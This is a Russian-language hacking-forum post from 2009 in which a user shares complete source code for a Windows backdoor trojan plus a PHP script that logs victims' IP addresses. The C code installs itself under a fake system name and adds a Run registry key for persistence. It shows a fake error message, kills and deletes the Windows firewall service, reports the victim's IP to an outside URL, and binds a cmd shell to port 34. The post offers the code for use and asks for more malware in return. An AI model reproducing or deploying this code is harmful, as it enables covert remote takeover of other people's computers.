ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Shell backdoor
  #1  
Старый 24.11.2009, 17:46
Аватар для los8005
los8005
Новичок
Регистрация: 28.09.2009
Сообщений: 4
Провел на форуме:
7198

Репутация: 13
Post Shell backdoor

Вообщем прошу не пинать за криволапый код и т.д. и т.п.

Материалы и компоненты:

1)IDE Code::Block + MinGW
2)ДЕНВЕР
3)Подключить либы libws2_32.a, libwininet.a

Описание:
Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде.

Код шелл-бека:

Код:
#include <windows.h>
#include <winsock.h>
#include <wininet.h>
#include <io.h>

#define addresstoip "http://www.get.ru/add.php"//Адрес снифа
#define port 34


bool FileExists(const char *fname){
    return access(fname,0) != -1;
    }

void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCM != NULL)
{
SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE);
if (hService != NULL)
{
SERVICE_STATUS Status;
ControlService(hService, SERVICE_CONTROL_STOP, &Status);
Sleep(500);
BOOL bOk = DeleteService(hService);
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM);
}

void Setup(void){//Функция для установки в систему
char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные

GetModuleFileName(GetModuleHandle(NULL),str,MAX_PATH);
GetSystemDirectory(sysbuf,MAX_PATH);

strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца

if(!FileExists(sysbuf)){
CopyFile(str,sysbuf,true);

HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);

MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR);
}
}

void InfectSystem(void){//Функция для создания шелла на 34 порту
     WSADATA wsd;
     int fd,newfd;
     struct sockaddr_in sin;
     char *cmd = "cmd";
     STARTUPINFO si;
     PROCESS_INFORMATION pi;

	 memset(&si,0,sizeof(si));
	 memset(&pi,0,sizeof(pi));

     WSAStartup(0x101,&wsd);
	 fd=WSASocketA(2,1,0,0,0,0);

     sin.sin_family=2;
     sin.sin_addr.s_addr=0;
     sin.sin_port=htons(port);

	 bind(fd,(struct sockaddr *)&sin, 0x10);
	 listen(fd,0);

	 newfd=accept(fd,(struct sockaddr *)&sin,0);
     si.cb=sizeof(si);
     si.dwFlags=0x0101;
     si.hStdInput=(char*)newfd;
     si.hStdOutput=(char*)newfd;
     si.hStdError=(char*)newfd;

     CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

     WaitForSingleObject(pi.hProcess, INFINITE);
     ExitThread(0);
}

bool GetStatusConnect(void){//Получение статуса подключения к интернету
typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
// возвращает 1, если комп подключен к интеренту, в противном случае - 0
bool bRetVal;
    HINSTANCE hLib = NULL;
    INETCHECKPROC pfnInternetGetConnectedState;
// грузим (в смысле загружаем) библиотеку wininet.dll
    hLib = LoadLibrary("wininet.dll");
    if (!hLib) // если не получилось загрузить библиотеку, то
        return 0; // возвращаем 0
// получаем адрес функции InternetGetConnectedState
    pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
// Если не удалось получить адрес функции
    if(!pfnInternetGetConnectedState)
        return false; // возвращаем 0
    DWORD lpdwFlags;
// проверяем соединение
    bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
    FreeLibrary(hLib); // выгружаем библиотеку
    return bRetVal; // возвращаем статус подключения
}

void SendMyIP(void){//Функция отправки IP
    const char *accept = "Accept: */*";
    HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0);
    HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0);
    HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1);
    HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL);
    }

int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){
    //Устанавливаемся
    Setup();
    //Удаляем гребаный мауер
    KillMayer();
    //Ждем, пока комп будет подключен к нету
    bool con = GetStatusConnect();
    while(!con){//ne podklychen
    con = GetStatusConnect();
    Sleep(1500);
    }
    //Когда цикл будет верен посылаем IP и работаем
    SendMyIP();//Отправляем и...
    InfectSystem();//...работаем!
    return 0;//Все, из маин прог моно выходить. Все заметано
}
Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал...

Код:
<?php
function GetIP() {
  if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
     $ip = getenv("HTTP_CLIENT_IP");
  else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
     $ip = getenv("HTTP_X_FORWARDED_FOR");
  else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
     $ip = getenv("REMOTE_ADDR");
  else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
     $ip = $_SERVER['REMOTE_ADDR'];
  else
     $ip = "unknown";
  return $ip;
} // GetIP

$FILE_SCHABLONE = fopen('ip.html','r');
$MAIN;

while($buf = fread($FILE_SCHABLONE,10)){
	$MAIN=$MAIN.$buf;
}

fclose($FILE_SCHABLONE);

$IP=GetIP();
$MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>";

$FILE_SCHABLONE_WRITE = fopen('ip.html','w');
fwrite($FILE_SCHABLONE_WRITE,$MAIN);
fclose($FILE_SCHABLONE_WRITE);

?>
Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ